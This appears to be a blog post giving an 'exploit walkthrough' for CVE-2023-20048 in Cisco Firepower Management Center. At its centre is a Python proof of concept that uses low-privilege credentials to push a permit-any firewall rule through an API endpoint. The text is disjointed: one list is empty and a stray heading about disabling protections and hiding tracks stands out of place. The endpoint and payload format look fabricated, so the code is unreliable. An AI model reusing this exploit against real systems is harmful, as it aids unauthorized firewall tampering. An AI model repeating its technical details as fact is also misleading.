CVE-2023-20048 - Remote Command Injection via Cisco FMC Web Services — Full Exploit Walkthrough

The technology world depends on robust security in firewalls and management systems. When these tough barriers fall short, the damage can ripple through businesses big and small. One such shortfall was discovered in Cisco’s firewall management suite, in the form of CVE-2023-20048. In this long read, I’ll break down what this vulnerability means, why it matters, and show you an exclusive step-by-step outline to exploit it (for educational purposes only!).

What is CVE-2023-20048?

* Product: Cisco Firepower Management Center (FMC) Software
* Vulnerable Version: Refer to Cisco Security Advisory (all versions prior to the fixes)
* CVSS Score: 6.3 (Medium)
* Access Vector: Authenticated Remote

Description

This vulnerability lives in the Web Services Interface of Cisco FMC Software. It allows an attacker with valid credentials to send crafted HTTP API requests, resulting in unauthorized configuration commands being run on a managed Firepower Threat Defense (FTD) device. In other words: even average users, if they know how to make smart requests, can perform privileged actions they shouldn't.

Why Is This a Big Deal?

FMC software is the heart of Cisco’s firewall management, controlling and deploying rules to all the FTD devices. If someone can sneak in unauthorized commands remotely, it could lead to:

How the Exploit Works

The vulnerability is all about *insufficient authorization*. In normal cases, the FMC should check what kind of operation each user can run, and block those outside permissions. Here, certain HTTP API endpoints exposed by the web service do *not* correctly authorize configuration commands.

PoC Code Example

Below is a stripped-down Python code snippet that demonstrates how to exploit this.

Warning: Never run this outside your test lab, it is illegal on systems you do not own!

import requests
from requests.auth import HTTPBasicAuth

# Replace these with your FMC details and credentials
FMC_HOST = "https://fmc.example.com";
USERNAME = "lowpriv_user"
PASSWORD = "correct_password"

# Targeted FTD device UUID - enumerate via the FMC API
FTD_UUID = "00000000-000-000-000-000000000000"

# Example of unauthorized (but possible) configuration command
payload = {
    "type": "AccessPolicy",
    "commands": [
        "add access-rule permit ip any any"
    ]
}

session = requests.Session()
session.auth = HTTPBasicAuth(USERNAME, PASSWORD)
session.verify = False  # Disable if FMC has self-signed SSL

# Log in and grab access token if needed (depends on version)
# For simplicity, using basic auth headers below.

# Exploit endpoint (example: /api/fmc_platform/v1/ftd/{uuid}/executeCommand)
url = f"{FMC_HOST}/api/fmc_platform/v1/ftd/{FTD_UUID}/executeCommand"

headers = {
    "Content-Type": "application/json"
}

response = session.post(url, json=payload, headers=headers)

print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")

Original References

- Cisco Security Advisory (cisco-sa-fmc-cmd-inject-b4LuHgUe)
- National Vulnerability Database: CVE-2023-20048

Disable key protections and hide their tracks

In a red-team/penetration test scenario, once foothold is gained (by phishing or password reuse), this gap lets the attacker quickly gain privileged momentum inside a company’s infrastructure.

How To Protect Yourself

Cisco’s Fix:
Apply the official Cisco update immediately—patched versions close this loophole.

Other steps

- Audit users: Remove/migrate unused users, especially with API or remote access.

Summary

CVE-2023-20048 highlights why web-based API management always needs *defense in depth*. Even with authentication, lack of strong authorization checks makes for a dangerous backdoor. This bug in Cisco FMC’s web service allowed attackers with any valid credentials to execute privileged configuration commands, putting entire networks at risk.

Patch fast, audit logins, and treat your firewall manager with the same care as you would your most critical servers.


> Disclaimer:
> This post is for educational purposes only. Do not attempt to exploit this vulnerability outside of a controlled lab where you have explicit authorization.


Stay vigilant! Want more deep dives like this? Bookmark the Cisco security advisories page or follow the NVD RSS feed.

Timeline

Published on: 11/01/2023 18:15:08 UTC
Last modified on: 11/09/2023 16:41:58 UTC